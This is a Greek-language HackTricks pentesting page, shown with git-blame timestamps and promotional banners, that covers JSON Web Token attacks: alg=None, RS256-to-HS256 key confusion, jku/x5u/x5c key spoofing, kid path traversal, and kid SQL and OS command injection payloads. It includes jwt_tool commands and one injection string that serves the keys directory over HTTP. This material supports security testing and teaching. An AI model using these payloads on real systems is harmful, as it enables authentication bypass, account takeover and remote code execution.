hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

279 lines
30 KiB
Markdown
Raw Normal View History

# Ευπάθειες JWT (Διαδικτυακά Διακριτικά Json)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Άλλοι τρόποι υποστήριξης των HackTricks:
2023-12-31 01:25:17 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
2024-02-10 22:40:18 +00:00
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**Μέρος αυτής της ανάρτησης βασίζεται στην εξαιρετική ανάρτηση:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Συγγραφέας του εξαιρετικού εργαλείου για το pentest των JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
2024-02-10 22:40:18 +00:00
### **Γρήγορες Επιτυχίες**
Εκτελέστε το [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) με λειτουργία `Όλες οι Δοκιμές!` και περιμένετε τις πράσινες γραμμές
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-02-10 22:40:18 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Αν είστε τυχεροί, το εργαλείο θα βρει κάποια περίπτωση όπου η web εφαρμογή ελέγχει εσφαλμένα το JWT:
![](<../.gitbook/assets/image (935).png>)
Στη συνέχεια, μπορείτε να αναζητήσετε το αίτημα στον proxy σας ή να ανακτήσετε το χρησιμοποιημένο JWT για αυτό το αίτημα χρησιμοποιώντας το εργαλείο jwt_tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Μπορείτε επίσης να χρησιμοποιήσετε το [**Πρόσθετο Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) για να εκτελέσετε επιθέσεις JWT από το Burp.
### Αλλοίωση δεδομένων χωρίς τροποποίηση τίποτα
Μπορείτε απλά να αλλοιώσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σε "admin" για παράδειγμα.
2024-02-10 22:40:18 +00:00
#### **Ελέγχεται το τοκέν;**
Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται:
2024-02-05 02:28:59 +00:00
* Ένα μήνυμα σφάλματος υποδεικνύει ενεργή επαλήθευση· ευαίσθητες λεπτομέρειες σε λεπτομερή μηνύματα σφαλμάτων πρέπει να εξεταστούν.
* Μια αλλαγή στην επιστρεφόμενη σελίδα υποδεικνύει επαλήθευση.
* Καμία αλλαγή υποδεικνύει ότι δεν υπάρχει επαλήθευση· τότε είναι πότε να πειραματιστείτε με την αλλοίωση των δηλώσεων φορτίου.
2024-02-05 02:28:59 +00:00
2024-02-10 22:40:18 +00:00
### Προέλευση
Είναι σημαντικό να καθορίσετε εάν το τοκέν δημιουργήθηκε στον διακομιστή ή στον πελάτη εξετάζοντας το ιστορικό αιτημάτων του διαμεσολαβητή.
* Τα τοκέν που εμφανίζονται πρώτη φορά από την πλευρά του πελάτη υποδεικνύουν ότι η κλειδί μπορεί να είναι εκτεθειμένο στον κώδικα της πλευράς του πελάτη, απαιτώντας περαιτέρω έρευνα.
* Τα τοκέν που προέρχονται από την πλευρά του διακομιστή υποδεικνύουν ένα ασφαλές διαδικασία.
2024-02-10 22:40:18 +00:00
### Διάρκεια
Ελέγξτε αν το τοκέν διαρκεί περισσότερο από 24 ώρες... ίσως να μην λήγει ποτέ. Αν υπάρχει πεδίο "exp", ελέγξτε αν ο διακομιστής το χειρίζεται σωστά.
### Επίθεση με βίαιη δύναμη στο μυστικό HMAC
2024-02-10 22:40:18 +00:00
[**Δείτε αυτήν τη σελίδα.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Αλλαγή του αλγορίθμου σε None
Ορίστε τον χρησιμοποιούμενο αλγόριθμο ως "None" και αφαιρέστε το μέρος της υπογραφής.
Χρησιμοποιήστε την επέκταση του Burp με τίτλο "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διαφορετικές τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του τοκέν. Μπορείτε επίσης να επιλέξετε να τοποθετήσετε την τιμή του πεδίου "Alg" σε "None").
### Αλλαγή του αλγορίθμου από RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την ταυτοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας πίσω από τον κώδικα χρησιμοποιεί το δημόσιο κλειδί ως μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256 μπορούμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή του ιστότοπου εκτελώντας αυτό:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Νέο κλειδί δημόσιου κλειδιού μέσα στην κεφαλίδα
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του τοκεν και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για την επαλήθευση της υπογραφής (CVE-2018-0114).
Αυτό μπορεί να γίνει με την επέκταση Burp "JSON Web Tokens".\
(Στείλτε το αίτημα στο Repeater, εντός της καρτέλας JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).
### JWKS Παραπλάνηση
Οι οδηγίες περιγράφουν έναν τρόπο για να αξιολογήσετε την ασφάλεια των JWT τοκεν, ιδιαίτερα αυτών που χρησιμοποιούν έναν ισχυρισμό κεφαλίδας "jku". Αυτός ο ισχυρισμός θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που απαιτείται για την επαλήθευση του τοκεν.
* **Αξιολόγηση Τοκεν με τον Ισχυρισμό "jku" Κεφαλίδας**:
* Επαληθεύστε το URL του ισχυρισμού "jku" για να βεβαιωθείτε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
* Τροποποιήστε την τιμή "jku" του τοκεν για να κατευθύνετε προς έναν ελεγχόμενο ιστότοπο, επιτρέποντας την παρατήρηση της κίνησης.
* **Παρακολούθηση για Αλληλεπίδραση HTTP**:
* Η παρακολούθηση των αιτήσεων HTTP προς το συγκεκριμένο URL υποδηλώνει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από το παρεχόμενο σύνδεσμο.
* Όταν χρησιμοποιείτε το `jwt_tool` για αυτήν τη διαδικασία, είναι σημαντικό να ενημερώσετε το αρχείο `jwtconf.ini` με την τοποθεσία του προσωπικού σας JWKS για να διευκολύνετε τον έλεγχο.
* **Εντολή για το `jwt_tool`**:
* Εκτελέστε την παρακάτω εντολή για να προσομοιώσετε το σενάριο με το `jwt_tool`:
2024-02-10 22:40:18 +00:00
```bash
python3 jwt_tool.py JWT_HERE -X s
2024-02-10 22:40:18 +00:00
```
### Επισκόπηση Θεμάτων Kid
Ένας προαιρετικός ισχυρισμός κεφαλίδας γνωστός ως `kid` χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα σημαντικό σε περιβάλλοντα όπου υπάρχουν πολλά κλειδιά για την επαλήθευση της υπογραφής του τοκεν. Αυτός ο ισχυρισμός βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός τοκεν.
#### Αποκάλυψη Κλειδιού μέσω "kid"
Όταν ο ισχυρισμός `kid` είναι παρών στην κεφαλίδα, συνιστάται να αναζητήσετε στον κατάλογο του διαδικτύου το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, εάν καθορίζεται `"kid":"key/12345"`, τα αρχεία _/key/12345_ και _/key/12345.pem_ θα πρέπει να αναζητηθούν στη ρίζα του διαδικτύου.
2024-02-05 02:28:59 +00:00
#### Διέλευση Διαδρομής με το "kid"
Ο ισχυρισμός `kid` ενδέχεται επίσης να εκμεταλλευτείται για την πλοήγηση μέσω του συστήματος αρχείων, επιτρέποντας πιθανώς την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) αλλάζοντας την τιμή του `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραβίαση του JWT για την αλλαγή της τιμής του `kid` διατηρώντας την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας τη σημαία `-T` στο jwt\_tool, όπως παρουσιάζεται παρακάτω:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Με το να στοχεύετε αρχεία με προβλέψιμο περιεχόμενο, είναι δυνατόν να πλασαριστεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT.
2020-12-03 10:09:49 +00:00
#### SQL Injection μέσω "kid"
Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για να ανακτήσει έναν κωδικό πρόσβασης από μια βάση δεδομένων, μια ενσωμάτωση SQL μπορεί να διευκολυνθεί με την τροποποίηση του φορτίου του `kid`. Ένα παράδειγμα φορτίου που χρησιμοποιεί ενσωμάτωση SQL για να τροποποιήσει τη διαδικασία υπογραφής JWT περιλαμβάνει:
2024-02-05 02:28:59 +00:00
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, `ATTACKER`, για την υπογραφή JWT.
#### Ενσωμάτωση OS μέσω "kid"
Ένα σενάριο όπου η παράμετρος `kid` καθορίζει ένα διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Απομακρυσμένης Εκτέλεσης Κώδικα (RCE). Με την ενσωμάτωση εντολών στην παράμετρο `kid`, είναι δυνατόν να αποκαλυφθούν ιδιωτικά κλειδιά. Ένα παράδειγμα φορτίου για την επίτευξη RCE και αποκάλυψη κλειδιών είναι:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2024-02-10 22:40:18 +00:00
### x5u και jku
2022-05-01 13:25:53 +00:00
#### jku
2024-02-10 22:40:18 +00:00
Το jku σημαίνει **JWK Set URL**.\
Εάν το token χρησιμοποιεί μια δήλωση κεφαλίδας “**jku**” τότε **ελέγξτε την παρεχόμενη διεύθυνση URL**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για τον έλεγχο του token. Αλλάξτε το token ώστε η τιμή jku να δείχνει σε έναν ιστότοπο υπηρεσίας web τον οποίο μπορείτε να παρακολουθείτε την κίνηση.
Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείχνετε την παράμετρο jku στο πιστοποιητικό που δημιουργήθηκε.** Για να δημιουργήσετε ένα έγκυρο πιστοποιητικό jku μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Μπορείτε να λάβετε τις παραμέτρους "e" και "n" από ένα δημόσιο πιστοποιητικό χρησιμοποιώντας:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφοποίησης πιστοποιητικών) που κωδικοποιούνται σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιήθηκε για να υπογράψει αυτό το JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Απαιτείται μεταφορά πιστοποιητικών με ασφάλεια μεταφοράς.
Προσπαθήστε να **αλλάξετε αυτήν την κεφαλίδα σε ένα URL υπό τον έλεγχό σας** και ελέγξτε εάν λαμβάνεται οποιοδήποτε αίτημα. Σε αυτήν την περίπτωση **μπορείτε να παρεμβάλετε το JWT**.
Για να πλασαρίσετε ένα νέο τοκέν χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε εσείς, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείχνετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.**
![](<../.gitbook/assets/image (956).png>)
2024-02-10 22:40:18 +00:00
Μπορείτε επίσης να καταχραστείτε και τις δύο αυτές ευπάθειες **για SSRFs**.
2022-05-01 13:25:53 +00:00
#### x5c
Αυτή η παράμετρος μπορεί να περιέχει το **πιστοποιητικό σε μορφή base64**:
![](<../.gitbook/assets/image (1119).png>)
Αν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό τοκέν χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργημένο πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t τότε ουσιαστικά το πλαστό τοκέν θα γίνει αποδεκτό από τον διακομιστή.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
2024-02-10 22:40:18 +00:00
### Ενσωματωμένο Δημόσιο Κλειδί (CVE-2018-0114)
Αν το JWT έχει ενσωματωμένο ένα δημόσιο κλειδί όπως στο ακόλουθο σενάριο:
![](<../.gitbook/assets/image (624).png>)
Χρησιμοποιώντας το ακόλουθο script nodejs είναι δυνατόν να δημιουργηθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο τοκέν και να το χρησιμοποιήσετε για τη δημιουργία ενός νέου υπογραφή:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Μπορείτε να λάβετε τα "n" και "e" χρησιμοποιώντας αυτό το σενάριο nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο αριθμό τυχαιότητας
Εάν μερικές εφαρμογές χρησιμοποιούν τον αλγόριθμο ES256 και χρησιμοποιούν τον ίδιο αριθμό τυχαιότητας για τη δημιουργία δύο JWTs, το ιδιωτικό κλειδί μπορεί να ανακτηθεί.
Εδώ υπάρχει ένα παράδειγμα: [ECDSA: Αποκάλυψη του ιδιωτικού κλειδιού, εάν χρησιμοποιηθεί ο ίδιος αριθμός τυχαιότητας (με SECP256k1)](https://asecuritysite.com/encryption/ecd5)
2022-05-01 13:25:53 +00:00
### JTI (JWT ID)
Η δήλωση JTI (JWT ID) παρέχει ένα μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτρέψει το token από το να επαναληφθεί.\
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν το backend αυξάνει το ID σε κάθε αίτηση, μπορείτε να εκμεταλλευτείτε αυτό για **επανάληψη μιας αίτησης** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
### Καταχωρημένες δηλώσεις JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-02-10 22:40:18 +00:00
### Άλλες επιθέσεις
2024-02-05 02:28:59 +00:00
**Επιθέσεις Διέλευσης Υπηρεσιών**
2024-02-05 02:28:59 +00:00
Έχει παρατηρηθεί ότι μερικές web εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιστατικά όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, γίνεται δεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας υπηρεσίας τρίτου, πρέπει να εξεταστεί η πιθανότητα εγγραφής σε έναν λογαριασμό σε έναν άλλο πελάτη εκείνης της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, πρέπει να γίνει μια προσπάθεια επανάληψης του ληφθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται δεκτό.
2024-02-05 02:28:59 +00:00
* Η αποδοχή του token σας μπορεί να υποδείξει ένα κρίσιμο ζήτημα, ενδεχομένως επιτρέποντας την παραπλάνηση του λογαριασμού οποιουδήποτε χρήστη. Ωστόσο, πρέπει να σημειωθεί ότι ενδέχεται να απαιτηθεί άδεια για ευρύτερες δοκιμές εάν εγγραφείτε σε μια εφαρμογή τρίτου, καθώς αυτό μπορεί να εισέλθει σε μια νομική γκρίζα ζώνη.
2024-02-05 02:28:59 +00:00
**Έλεγχος Λήξης των Tokens**
2024-02-05 02:28:59 +00:00
Η λήξη του token ελέγχεται χρησιμοποιώντας τη δήλωση "exp" Payload. Δεδομένου ότι τα JWT συχνά χρησιμοποιούνται χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική χειρισμός. Σε πολλές περιπτώσεις, η καταγραφή και επανάληψη ενός JWT ενός άλλου χρήστη θα μπορούσε να επιτρέψει την υποκατάσταση αυτού του χρήστη. Το RFC του JWT συνιστά τη μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας τη δήλωση "exp" για να ορίσετε ένα χρόνο λήξης για το token. Επιπλέον, η υλοποίηση σχετικών ελέγχων από την εφαρμογή για να διασφαλίσει την επεξεργασία αυτής της τιμής και την απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια δήλωση "exp" και τα όρια χρόνου επιτρέπουν, συνιστάται να αποθηκεύσετε το token και να το επαναλάβετε μετά τη λήξη του χρόνου. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης της χρονικής σήμανσης και του ελέγχου λήξης (χρονική σήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας τη σημαία -R του εργαλείου jwt\_tool.
2024-02-05 02:28:59 +00:00
* Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να σημαίνει ότι το token δεν μπορεί ποτέ να λήξει.
2024-02-05 02:28:59 +00:00
2024-02-10 22:40:18 +00:00
### Εργαλεία
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-05-08 22:42:39 +00:00
Εάν σας ενδιαφέρει η **επαγγελματική χρήση του χάκινγκ** και το χάκινγκ του αδυνάτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
2022-04-28 16:01:33 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>